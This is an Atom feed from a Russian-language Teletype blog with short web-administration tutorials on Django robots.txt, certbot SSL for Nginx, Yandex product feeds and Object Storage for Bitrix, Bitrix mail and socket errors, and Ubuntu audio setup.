<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>webkrasavin</title><author><name>webkrasavin</name></author><id>https://teletype.in/atom/webkrasavin</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/webkrasavin?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/webkrasavin?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-20T00:59:27.653Z</updated><entry><id>webkrasavin:django-robots-txt</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/django-robots-txt?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Создание robots.txt в Django</title><published>2024-04-12T20:31:42.118Z</published><updated>2024-04-12T20:33:44.830Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/75/e1/75e13406-2a4a-440f-9872-53d86d98079b.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/97/bc/97bcc240-3fa0-4170-bc6d-2c9132c41202.png&quot;&gt;</summary><content type="html">
  &lt;figure id=&quot;uzwh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/97/bc/97bcc240-3fa0-4170-bc6d-2c9132c41202.png&quot; width=&quot;898&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uuYY&quot;&gt;В settings.py должны быть настроены пути к templates:&lt;/p&gt;
  &lt;pre id=&quot;YbMD&quot;&gt;TEMPLATES = [
    {
        &amp;quot;BACKEND&amp;quot;: &amp;quot;django.template.backends.django.DjangoTemplates&amp;quot;,
        &amp;quot;DIRS&amp;quot;: [BASE_DIR / &amp;quot;templates&amp;quot;],  # new
        &amp;quot;APP_DIRS&amp;quot;: True,
        &amp;quot;OPTIONS&amp;quot;: {
            &amp;quot;context_processors&amp;quot;: [
                &amp;quot;django.template.context_processors.debug&amp;quot;,
                &amp;quot;django.template.context_processors.request&amp;quot;,
                &amp;quot;django.contrib.auth.context_processors.auth&amp;quot;,
                &amp;quot;django.contrib.messages.context_processors.messages&amp;quot;,
            ],
        },
    },
]&lt;/pre&gt;
  &lt;p id=&quot;hxZP&quot;&gt;Создайте в папке templates вашего приложения новый файл robots.txt с тестовым содержимым. Например:&lt;/p&gt;
  &lt;pre id=&quot;gmuT&quot;&gt;User-Agent: *
Disallow: /

Host: site.ru # замените на свой домен&lt;/pre&gt;
  &lt;p id=&quot;VN5i&quot;&gt;Теперь заходим в urls.py и добавляем настройки:&lt;/p&gt;
  &lt;pre id=&quot;l5MA&quot;&gt;from django.contrib import admin
from django.urls import path
from django.views.generic.base import TemplateView  # новый импорт

urlpatterns = [
    path(&amp;quot;admin/&amp;quot;, admin.site.urls),

    # указываем пути, тип контента и шаблон
    path(
        &amp;quot;robots.txt&amp;quot;,
        TemplateView.as_view(template_name=&amp;quot;robots.txt&amp;quot;, content_type=&amp;quot;text/plain&amp;quot;),
    ),
]&lt;/pre&gt;
  &lt;p id=&quot;APbo&quot;&gt;Сохраняем код, запускаем сервер. Теперь у вас есть файл robots.txt&lt;/p&gt;

</content></entry><entry><id>webkrasavin:ssl-nginx-django-install</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/ssl-nginx-django-install?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Как поставить SSL на Django + NGINX</title><published>2024-03-05T10:38:49.722Z</published><updated>2024-03-05T10:38:49.722Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/81/bf/81bf5897-96af-4cda-83e1-b671890f6424.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/d0/25/d0254ac5-1026-4663-b467-9cf73cfed708.png&quot;&gt;Чтобы поставить бесплатный SSL от Let’s Encrypt на Django, работающий в связке с Nginx, понадобится совсем немного команд.</summary><content type="html">
  &lt;figure id=&quot;OLkB&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/25/d0254ac5-1026-4663-b467-9cf73cfed708.png&quot; width=&quot;1373&quot; /&gt;
    &lt;figcaption&gt;Установка SSL Let’s Encrypt на проект с Django Nginx Gunicorn&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Q7s6&quot;&gt;Чтобы поставить бесплатный SSL от Let’s Encrypt на Django, работающий в связке с Nginx, понадобится совсем немного команд. &lt;/p&gt;
  &lt;p id=&quot;K5KS&quot;&gt;&lt;strong&gt;1. Запустить команду установки Cerbot в Ubuntu&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;Xplw&quot;&gt;sudo snap install --classic certbot&lt;/pre&gt;
  &lt;p id=&quot;9uBr&quot;&gt;&lt;strong&gt;2. Выполнить следующую команду, создав символьную ссылку&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;Rx5t&quot;&gt;sudo ln -s /snap/bin/certbot /usr/bin/certbot&lt;/pre&gt;
  &lt;p id=&quot;h3Ss&quot;&gt;&lt;strong&gt;3. Запускаем certbot для автоматической установки SSL&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;ZyFQ&quot;&gt;sudo certbot --nginx&lt;/pre&gt;
  &lt;p id=&quot;x9dv&quot;&gt;Запустится выпуск и установка сертификатов. Сначала в консоли вас попросят указать вашу почту, согласие с правилами, согласие на передачу вашего адреса почты (в Electronic Frontier Foundation, партнёрам Let&amp;#x27;s Encrypt и разработчику Certbot).&lt;/p&gt;
  &lt;p id=&quot;a83p&quot;&gt;Далее выбираете домены из списка, который подтянет установщик из конфигурации nginx. Если нужно выбрать всё, жмите Enter.&lt;/p&gt;
  &lt;blockquote id=&quot;sEvQ&quot;&gt;Команда из 3 пункта делает всё в автоматическом режиме, в том числе внося нужные правки в конфигурацию nginx. Если вы хотите править конфиги nginx вручную, то нужно использовать команду &lt;strong&gt;sudo certbot certonly --nginx&lt;/strong&gt;.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;924L&quot;&gt;Стоит отметить, что в статье нет никаких команд для Django, так как сертификат выпускается и работает, даже если у вас установлен другой фреймворк.&lt;/p&gt;
  &lt;/section&gt;

</content></entry><entry><id>webkrasavin:yandex-feeds-for-magazine-bitrix</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/yandex-feeds-for-magazine-bitrix?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Товарный фид для Яндекса в CMS Bitrix</title><published>2022-12-01T21:14:57.189Z</published><updated>2022-12-01T21:16:26.554Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/7a/36/7a36d0dd-7015-428b-a79f-19da5940d2dc.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/2a/be/2abe7235-0b03-44c3-b6ea-0db04923e21a.png&quot;&gt;Недавно Яндекс добавил возможность добавлять фиды товаров чтобы в поиске можно было увидеть расширенный сниппет.</summary><content type="html">
  &lt;p id=&quot;qxJM&quot;&gt;Недавно Яндекс добавил возможность добавлять фиды товаров чтобы в поиске можно было увидеть расширенный сниппет.&lt;/p&gt;
  &lt;figure id=&quot;umAj&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/2a/be/2abe7235-0b03-44c3-b6ea-0db04923e21a.png&quot; width=&quot;616&quot; /&gt;
    &lt;figcaption&gt;Пример сниппета полученного с помощью Яндекс Фиды&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Fqn8&quot;&gt;У нас есть три варианта получить подобный сниппет:&lt;/p&gt;
  &lt;ul id=&quot;fM77&quot;&gt;
    &lt;li id=&quot;FOrk&quot;&gt;добавить выгрузку в Яндекс.Приложения&lt;/li&gt;
    &lt;li id=&quot;FzM8&quot;&gt;подключить турбо-страницы&lt;/li&gt;
    &lt;li id=&quot;eE8F&quot;&gt;подключить Яндекс Маркет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;7uR0&quot;&gt;Опишу только первый вариант, для тех кто не хочет заморачиваться и хочет получить красивый и информативный сниппет. &lt;strong&gt;Подключать будем на Битрикс: Управление сайтом.&lt;/strong&gt;&lt;/p&gt;
  &lt;h2 id=&quot;RPPU&quot;&gt;Что дадут фиды&lt;/h2&gt;
  &lt;p id=&quot;JNOv&quot;&gt;Основным преимуществом перед конкурентами в поиске - цена, картинка товара, описание из фида. Выдача в поиске будет намного заметнее за счет этого сниппета.&lt;/p&gt;
  &lt;p id=&quot;a3ZA&quot;&gt;Также я заметил следующее: если страницы некачественные или дублируются на поддоменной системе, яндекс все равно закинет страницы в поиск, если подключен фид. Без фида будут свистопляски.&lt;/p&gt;
  &lt;h2 id=&quot;V2oP&quot;&gt;Создание выгрузки&lt;/h2&gt;
  &lt;p id=&quot;eQBf&quot;&gt;Будем использовать модуль &lt;a href=&quot;https://marketplace.1c-bitrix.ru/solutions/yandex.market/&quot; target=&quot;_blank&quot;&gt;Яндекс Маркет для бизнеса&lt;/a&gt; от Яндекса. Устанавливаете модуль и выполняете необходимые настройки, после чего модуль появится в левом вертикальном меню.&lt;/p&gt;
  &lt;figure id=&quot;W6WN&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/55/b0/55b0c0d6-fe78-4273-ab96-863d230bb556.png&quot; width=&quot;448&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Z7PD&quot;&gt;Нам нужен пункт &lt;strong&gt;Прайс-листы&lt;/strong&gt; чтобы создать выгрузку. Открываем, справа кнопочка &lt;strong&gt;Создать прайс-лист.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;GsRr&quot;&gt;При создании называйте прайс-лист более менее понятно, чтобы потом не возникало проблем.&lt;/p&gt;
  &lt;figure id=&quot;zzJZ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/10/f5/10f59017-b7c1-4efe-b9a5-a37ce972040e.png&quot; width=&quot;1061&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zs8R&quot;&gt;В поле Сайт магазина пишите адрес сайта без протокола, если подключен SSL сертификат - ставим галочку. Название файла можно не трогать. Сервис оставляете как есть. Тип описаний я выставлял упрощенный. Название магазина, название компании - указываете своё. Отмечаете для выгрузки инфоблок Каталог товаров.&lt;/p&gt;
  &lt;p id=&quot;0iRH&quot;&gt;Если на сайте есть автоскидки, отмечаете пункт. Обязательно ставим галочку на Обновлять YML автоматически, чтобы цены и прочее обновлялись при изменении на сайте. Период полной выгрузки можно поставить раз в сутки в ночное время, например в 3:00, чтобы сайт не нагружался днём, когда все покупатели активничают на сайте. Жмем далее.&lt;/p&gt;
  &lt;figure id=&quot;NdBV&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/42/57/42577096-d2a0-4726-ac45-5797f9314827.png&quot; width=&quot;1192&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MJi8&quot;&gt;Здесь нужно сопоставить поля из YML-файла с полями в вашем магазине. Можете сделать как на скриншоте, такого варианта достаточно, чтобы получить сниппет, который я вам показал в самом начале статьи. Последние два поля param и name можете убрать нажав справа знак минус. Жмём далее.&lt;/p&gt;
  &lt;figure id=&quot;HrRf&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/80/71/8071a989-83c4-4021-8818-b48b8a35adec.png&quot; width=&quot;1066&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NqJI&quot;&gt;Настройка условий доставки и выбор товаров. В принципе тут особо можно не заморачиваться, поставить галочку на добавление всех товаров из инфоблока. Доставку можете примерную выставить, всё равно не будет отображаться в поиске Яндекса, даже если ее настроить, она предназначена для Яндекс Маркета, а не для сниппета в поиске, который мы хотим получить.&lt;/p&gt;
  &lt;p id=&quot;bbiw&quot;&gt;Жмем Сохранить и выгрузить. В зависимости от мощности хостинга и размера каталога, у вас через какое-то время сгенерируется ссылка на выгрузку в виде ваш-сайт/адрес-до-файла/файл.xml, его скопируем куда-нибудь, так как мы еще не добавили этот фид в Яндекс.&lt;/p&gt;
  &lt;h2 id=&quot;aPX4&quot;&gt;Добавление фида в Яндекс Приложения&lt;/h2&gt;
  &lt;p id=&quot;7E8b&quot;&gt;Фиды добавляются на стороне Яндекса в &lt;a href=&quot;https://turboapps.yandex.ru/console/applications&quot; target=&quot;_blank&quot;&gt;Яндекс.Приложениях.&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;rePW&quot;&gt;Переходим туда. Создаем там новый сайт.&lt;/p&gt;
  &lt;figure id=&quot;C7In&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/da/f2/daf24016-b620-4f2c-a1a0-3e22474ed7fe.png&quot; width=&quot;1384&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tfoJ&quot;&gt;Тут указываем основной домен (если у вас поддоменная система, все равно указываем основной домен, без поддомена).&lt;/p&gt;
  &lt;p id=&quot;4Noj&quot;&gt;Адрес домена должен быть с протоколом в начале http:// или https:// и заканчиваться /.&lt;/p&gt;
  &lt;p id=&quot;tq5H&quot;&gt;Теперь достаём тот адрес фида, который мы заранее скопировали и вставляем в поле где написано Ссылка на feed.&lt;/p&gt;
  &lt;figure id=&quot;UM4G&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/98/48/98484650-258a-4c21-8a4e-370e7b8f1357.png&quot; width=&quot;1660&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mueE&quot;&gt;Тут нужно учесть следующее. Если ваш магазин не использует систему поддоменов, то в поле Регион можно добавить общую выгрузку. Если же есть система поддоменов, то при создании фида в модуле битрикса создаем на каждый ваш город выгрузку, где в адрес сайта при настройках указываем каждый поддомен.&lt;/p&gt;
  &lt;h3 id=&quot;qxj2&quot;&gt;Пример&lt;/h3&gt;
  &lt;figure id=&quot;ajAH&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/22/95/2295a75c-c9f4-44cb-839e-f4700c4948e9.png&quot; width=&quot;1876&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RoYj&quot;&gt;У меня система поддоменов на битриксе, я добавил сайт и внутри у меня 92 фида, где 1 фид = 1 городу. На каждый своя выгрузка, то есть у меня 92 прайс листа в модуле Яндекс Маркет для бизнеса, каждый прайс обновляется раз в сутки.&lt;/p&gt;
  &lt;h2 id=&quot;Winq&quot;&gt;Проверки от Яндекса и правила допуска к фидам&lt;/h2&gt;
  &lt;p id=&quot;XxgG&quot;&gt;После подключения фидов, на этом дело не заканчивается. Яндекс проверяет все эти фиды, звонит уточняет наличие притворяясь настоящими покупателями, потом делает офлайн заказ и еще имеет &lt;a href=&quot;https://yandex.ru/dev/conversion/doc/concepts/requirement.html&quot; target=&quot;_blank&quot;&gt;кучу правил&lt;/a&gt; для допуска к таким фидам. Почитайте и подготовьтесь, на каждый фид будет пару проверок. Соответственно если фидов на 10 городов - будет 20 проверок. Предупредите отдел продаж, что будут такие звонки. Нет наличия товара - пролёт, отличается цена - пролёт, что-то не так с ценой доставки - пролёт, не ответили на заказ с корзины в течении часа - пролёт. В общем на эту задачу нужно выделять время и терпение.&lt;/p&gt;

</content></entry><entry><id>webkrasavin:recipients-bitrix-smtpstatus-501</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/recipients-bitrix-smtpstatus-501?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Ошибка recipients bitrix smtpstatus 501 при отправке почты</title><published>2022-12-01T21:12:22.614Z</published><updated>2022-12-01T21:12:22.614Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/6d/92/6d92c040-d616-46d5-bda2-14bb9e845101.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/24/23/2423db87-9393-4b47-849e-9ffde457565d.png&quot;&gt;Если возникла такая ошибка в логах msmtp, которые обычно можно посмотреть в папке /home/bitrix/файл_логов.log.</summary><content type="html">
  &lt;h1 id=&quot;BSu3&quot;&gt;Ошибка recipients bitrix smtpstatus 501 при отправке почты&lt;/h1&gt;
  &lt;p id=&quot;40Lt&quot;&gt;Если возникла такая ошибка в логах msmtp, которые обычно можно посмотреть в папке /home/bitrix/файл_логов.log.&lt;/p&gt;
  &lt;figure id=&quot;TTKB&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/24/23/2423db87-9393-4b47-849e-9ffde457565d.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pXI6&quot;&gt;Проблема может заключаться в том, что настроенный дефолтный отправитель или отправитель для сайта в BitrixVM не совпадает с отправителем указанным в настройке модулей или конкретном почтовом шаблоне.&lt;/p&gt;
  &lt;h2 id=&quot;xLxM&quot;&gt;Настройка модулей&lt;/h2&gt;
  &lt;p id=&quot;mhqP&quot;&gt;Настройка находится в &lt;strong&gt;Главном модуле&lt;/strong&gt;. Почтовый адрес должен совпадать с тем, который настроен для сайта в BitrixVM.&lt;/p&gt;
  &lt;figure id=&quot;pKtY&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/68/ce/68ce880a-cb50-48b9-9646-d30445e5d61e.png&quot; width=&quot;1460&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Cnfk&quot;&gt;Настройка почтовых шаблонов&lt;/h2&gt;
  &lt;p id=&quot;ZWq4&quot;&gt;Если в BitrixVM адрес отправителя совпадает с отправителем по-умолчанию в настройках главного модуля, проблема может быть в почтовых шаблонах. Например указан другой почтовый ящик.&lt;/p&gt;
  &lt;figure id=&quot;zju5&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/04/57/04578b84-a840-4e18-96b0-ac169d402c70.png&quot; width=&quot;1246&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tE91&quot;&gt;Если попробовать отредактировать почтовый шаблон, можно увидеть поле отправителя От кого и Кому.&lt;/p&gt;
  &lt;figure id=&quot;1SyJ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/3f/99/3f9922d8-3de0-4b21-b851-8ad2ece65280.png&quot; width=&quot;1034&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QNsu&quot;&gt;Если указан #DEFAULTEMAIL_FROM#&lt;em&gt;,&lt;/em&gt; то скорее всего у вас была проблема с настройкой в главном модуле. Если у вас в поле &lt;strong&gt;От кого&lt;/strong&gt; указан другой почтовый ящик, не совпадающий с отправителем по-умолчанию, то укажите переменную #DEFAULTEMAIL_FROM#, тогда будет браться почтовый адрес отправителя из настроек главного модуля.&lt;/p&gt;

</content></entry><entry><id>webkrasavin:codec-for-ubuntu-21-04</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/codec-for-ubuntu-21-04?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Кодеки для Ubuntu 21.04 и работы видео в Firefox</title><published>2022-12-01T21:09:37.519Z</published><updated>2022-12-01T21:10:52.068Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/e8/54/e8544c15-7a43-49f8-a82a-805bb22935e5.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/ae/55/ae5513a4-b2d9-4c91-af06-b9f956e06686.png&quot;&gt;На передней панели системника есть вход. У меня он не работал, хотя передняя панель подключена в материнской плате. Есть быстрое решение, которое решает проблему в большинстве случаев.</summary><content type="html">
  &lt;p id=&quot;XcBD&quot;&gt;На передней панели системника есть вход. У меня он не работал, хотя передняя панель подключена в материнской плате. Есть быстрое решение, которое решает проблему в большинстве случаев.&lt;/p&gt;
  &lt;h2 id=&quot;6X3B&quot;&gt;Ставим пакет pavucontrol&lt;/h2&gt;
  &lt;p id=&quot;eSGf&quot;&gt;&lt;code&gt;sudo apt-get install pavucontrol&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;7KP3&quot;&gt;После установки будет доступно приложение Регулятор громкости&lt;/p&gt;
  &lt;figure id=&quot;OXmb&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/ae/55/ae5513a4-b2d9-4c91-af06-b9f956e06686.png&quot; width=&quot;1920&quot; /&gt;
    &lt;figcaption&gt;Последняя иконка&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wGMa&quot;&gt;Открываем и в пункте &lt;strong&gt;Встроенное аудио&lt;/strong&gt; выбираем &lt;strong&gt;Аналоговый стерео выход&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;mFqh&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/28/30/2830747e-00f4-4abd-8f8a-4037854ed89c.png&quot; width=&quot;847&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qCsM&quot;&gt;Далее идем в устройства вывода. Там мы видим, что видит наушники &lt;strong&gt;Headphones&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;2nuP&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/0f/8b/0f8be6e3-53b6-4caa-a030-164a71d2020e.png&quot; width=&quot;847&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xjc5&quot;&gt;Сначала не понял в чем дело. Нужно включить звук, так как он сейчас заглушен. Нужно нажать на иконку зачеркнутого динамика. На скрине обведен оранжевым цветом. И прибавить звук. Должно всё заработать.&lt;/p&gt;
  &lt;p id=&quot;bIf5&quot;&gt;Если у вас есть другое более простое решение, напишите пожалуйста в комментарии.&lt;/p&gt;

</content></entry><entry><id>webkrasavin:socket-bitrix-cms</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/socket-bitrix-cms?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Решение проблемы работы сокетов Битрикс</title><published>2022-12-01T21:07:37.775Z</published><updated>2022-12-01T21:07:46.668Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2c/50/2c50fc1c-9dd7-4503-9842-2884257fa4a7.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/ab/58/ab58b2d6-d86a-4fa5-9e6c-3329dfae31c3.png&quot;&gt;Сайт работал на VDS Timeweb по шаблону BitrixVM, всё было ок сайт открывался по https, но никак не решалась проблема с проверкой системы Битрикс. Пробовал править файл /etc/hosts, но результатов не давало.</summary><content type="html">
  &lt;p id=&quot;yJEc&quot;&gt;Сайт работал на VDS Timeweb по шаблону BitrixVM, всё было ок сайт открывался по https, но никак не решалась проблема с проверкой системы Битрикс. Пробовал править файл /etc/hosts, но результатов не давало.&lt;/p&gt;
  &lt;p id=&quot;C0du&quot;&gt;Висели следующие проблемы:&lt;/p&gt;
  &lt;ul id=&quot;hWTJ&quot;&gt;
    &lt;li id=&quot;ULlc&quot;&gt;Работа с сокетами - Ошибка! Не работает&lt;/li&gt;
    &lt;li id=&quot;UmG7&quot;&gt;Лишний вывод в файлах конфигурации - Замечание. Не удалось проверить из-за ошибки в работе с сокетами&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Kf0a&quot;&gt;Также висели другие ошибки в пунктах: сохранение сессии без UserAgent, размер стека, загрузка файла и другие. Как на скрине ниже.&lt;/p&gt;
  &lt;figure id=&quot;ET8G&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ab/58/ab58b2d6-d86a-4fa5-9e6c-3329dfae31c3.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;FyUX&quot;&gt;Решение&lt;/h2&gt;
  &lt;p id=&quot;iFnD&quot;&gt;У меня стоит Centos 7. Проблема как оказалась из-за устаревших корневых сертификатов Lets&amp;#x27;encrypt.&lt;/p&gt;
  &lt;p id=&quot;nbFF&quot;&gt;Установка пакета ca-certificates и обновление коревого сертификата помогла.&lt;/p&gt;
  &lt;p id=&quot;opQh&quot;&gt;&lt;code&gt;yum install ca-certificates&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;NixR&quot;&gt;&lt;code&gt;update-ca-trust&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;c8xd&quot;&gt;После проблема исчезла:&lt;/p&gt;
  &lt;figure id=&quot;LyQO&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d5/5f/d55f787b-fe1a-49e8-85a9-dfc4420a264b.png&quot; width=&quot;1360&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iiXl&quot;&gt;Если помогло, напишите об этом. Если была схожая проблема, но было другое решение, пишите в комментариях.&lt;/p&gt;

</content></entry><entry><id>webkrasavin:yandex-object-storage-bitrix</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/yandex-object-storage-bitrix?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Подключаем Yandex Object Storage к Битрикс</title><published>2022-12-01T21:06:14.841Z</published><updated>2022-12-01T21:06:14.841Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/a9/a7/a9a7da0d-e088-4d0a-bdf9-b7173c52e38c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/8d/bc/8dbc89a5-4975-42c3-8e1b-980fe726f44f.png&quot;&gt;Пока не так много разработчиков предлагают облачное хранилище. Как я понял, пока облачные хранилища не так популярны в России, но набирают обороты.</summary><content type="html">
  &lt;p id=&quot;caYR&quot;&gt;Пока не так много разработчиков предлагают облачное хранилище. Как я понял, пока облачные хранилища не так популярны в России, но набирают обороты.&lt;/p&gt;
  &lt;p id=&quot;JSNp&quot;&gt;Посмотрел статьи в интернетах и не нашел примера подключения Яндекс Облака в Битриксе, но есть старые гайды 2014 годов с подключением Clodo. Что ж, напишу гайд по Яндекс Облаку, а именно Yandex Object Storage.&lt;/p&gt;
  &lt;h2 id=&quot;9o7M&quot;&gt;Плюсы и минусы облачного хранилища&lt;/h2&gt;
  &lt;h3 id=&quot;4VcE&quot;&gt;Плюсы&lt;/h3&gt;
  &lt;ul id=&quot;cDti&quot;&gt;
    &lt;li id=&quot;BirR&quot;&gt;Репликация на несколько зон доступности: хранилище в разных географически расположенных местах&lt;/li&gt;
    &lt;li id=&quot;28cQ&quot;&gt;Посекундная тарификация: используешь 3 мб, 3 гб или 30 гб - платишь только за занятое место, получается намного выгоднее чем держать VDS с запасом, который не используешь. &lt;a href=&quot;https://cloud.yandex.ru/docs/storage/pricing&quot; target=&quot;_blank&quot;&gt;Подробнее о тарификации.&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;OCpJ&quot;&gt;Холодное и горячее хранение: если данные нужно только хранить и редко к ним обращаться, это еще дешевле чем стандартное хранение в Object Storage.&lt;/li&gt;
    &lt;li id=&quot;l8Lq&quot;&gt;Бэкапы хранятся не там где вы их делаете: во-первых так хранить небезопасно, а во-вторых в случае отключения основного сервера можете поднять резервный сервер, а бэкапы как раз доступны!&lt;/li&gt;
    &lt;li id=&quot;s5p9&quot;&gt;Очень высокая степень надежности хранилища УЗ-1, &lt;a href=&quot;https://cloud.yandex.ru/docs/overview/security/conform&quot; target=&quot;_blank&quot;&gt;подробнее тут&lt;/a&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;YqsO&quot;&gt;Минусы&lt;/h3&gt;
  &lt;ul id=&quot;q7rj&quot;&gt;
    &lt;li id=&quot;HhFk&quot;&gt;Вместо одного закрывающего документа у одного хостинг-провайдера нужно будет тратить еще минуту на второго: шучу, конечно оно того стоит и это пустяковый минус&lt;/li&gt;
    &lt;li id=&quot;IWpB&quot;&gt;Минусов не нашел&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;xENa&quot;&gt;Подготовка Object Storage&lt;/h2&gt;
  &lt;p id=&quot;MeWh&quot;&gt;Заходим на сервис, у вас сразу есть дефолтный каталог сервисов, проваливаемся туда нажав на него.&lt;/p&gt;
  &lt;figure id=&quot;1De3&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/8d/bc/8dbc89a5-4975-42c3-8e1b-980fe726f44f.png&quot; width=&quot;1300&quot; /&gt;
    &lt;figcaption&gt;Жмякайте прям на слово default&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hEIO&quot;&gt;У меня уже есть 1 бакет, об этом нас информирует верхняя плашечка. Создадим новый. В списке сервисом жмем на Obgect Storage.&lt;/p&gt;
  &lt;figure id=&quot;3tXT&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/8e/a1/8ea18298-f8e7-42f5-8929-6bcdca6c255f.png&quot; width=&quot;1098&quot; /&gt;
  &lt;/figure&gt;
